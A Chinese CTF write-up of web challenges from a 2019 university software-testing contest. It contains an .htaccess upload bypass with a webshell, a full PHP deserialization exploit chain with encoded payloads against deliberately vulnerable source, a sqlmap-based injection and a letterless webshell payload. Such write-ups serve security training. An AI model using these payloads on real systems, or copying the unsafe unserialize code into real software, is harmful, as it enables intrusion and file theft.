2019届全国大学生软件测试大赛web WP

前言

这个比赛是帮曹师傅代打的,曹师傅去xctf总决赛了。orz,曹师傅太强了。
总体感觉这个比赛难度正巧是我的水平,做起来很舒服,又不太难,又不无脑。但是由于比赛时间紧,好多题目直接pass,所以有几道题目记不太清了。

比比手速

这题是一道简单的文件上传题,首先需要你登陆admin,查看http包,我们发现返回包内有一个password变量,用它的值登录即可。
接下来就是上传绕过题了,先上传.htaccess文件,然后再上传一句话木马的图片,就能够访问目录,获取flag了。

baby

一道有点绕的反序列化题目
题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php  
@error_reporting(1);
//include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>

只要满足

1
$this->nice->aaa === $this->nice->bbb

既可以读取任意文件

首先我们需要构造$this->amazing的序列化字符串
同时我们需要调用cool->read()函数,所以我们需要将$this->skyobj = new sec;修改为$this->skyobj = new cool;
其中有一点需要注意,$aaa的值在中途被修改成了$sth,然后将它和$bbb比较,这个时候我们就需要让$bbb与$aaa的地址相同
构造脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
$a = new baby();
$a->bbb = &$a->aaa;
echo serialize($a);
?>

序列化结果为:

1
O:4:"baby":3:{s:9:" * skyobj";O:3:"sec":0:{}s:3:"aaa";N;s:3:"bbb";R:3;}

将其赋给$amazing,构造最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool();
}
function __toString()
{
if (isset($this->skyobj))
{
return $this->skyobj->read();
}
}
}
class cool
{
public $filename="flag.php";
public $nice;
public $amzing='O:4:"baby":3:{s:9:" * skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}';
}
//$test = new baby();
//echo serialize($test);
$a = new baby();
echo urlencode(serialize($a));
?>

payload如下

1
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A117%3A%22O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22+%2A+skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

后续

看了另一个师傅的WP,发现他将$amazing进行了urlencode之后依旧能绕过。
在运行测试之后发现,unserialize是无法反序列化这个字符串的.
另一个师傅的payload更为简单,直接将$filename=’flag.php’后,就没有做其他操作,直接序列化.
它的payload是O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D
也就是说$sth这个变量失去了它的作用,read函数中的if判断没有了意义.
究其原因,这就涉及到一个php变量作用域的问题php官方文档链接了,在函数和类中PHP会默认将变量作为局部变量,不会去调用外部变量的值.所以这边$sth的值和$aaa,$bbb一样都是NULL,所以这两个payload都能get shell.

更新题目

我们将$sth重新声明,global $sth即可使之生效.
源码也就变成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
global $sth;
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>

这样这两个payload就失效了,能够成功绕过的也就只剩正文推导出来的flag了.

注入初体验

一道比较复杂sql注入题目
漏洞是order by延时注入
复杂归复杂,SQLmap香啊,题目提示select flag from flag,所以我们就不需要爆破表单了。直接出flag

bypass

构造无字母数字的webshell。这题比赛时是刘师傅写的,payload应该是

1
?><?=`/???/???%20/????`;?>

但是环境要求很苛刻,我复现时发现了诸多问题,例如/???/???不一定是代指/bin/cat,即使代指cat命令时,环境较为复杂时,就会出现如下状况:
test
将所有能匹配到的命令全部输出执行,导致shell崩溃。
所以这个paylaod只能说时万幸碰对了。
真正payload的我觉得p神的方法很不错
菜鸡我整理的
无字母数字webshell之提高篇(P神)
利用上传的短暂存储,然后调用执行此文件。

easylogin

原题是安恒杯——西湖论剑5月web——未完成的网站
没找到复现代码,直接挂dalao博客了orz
https://blog.csdn.net/qq_31343581/article/details/90708275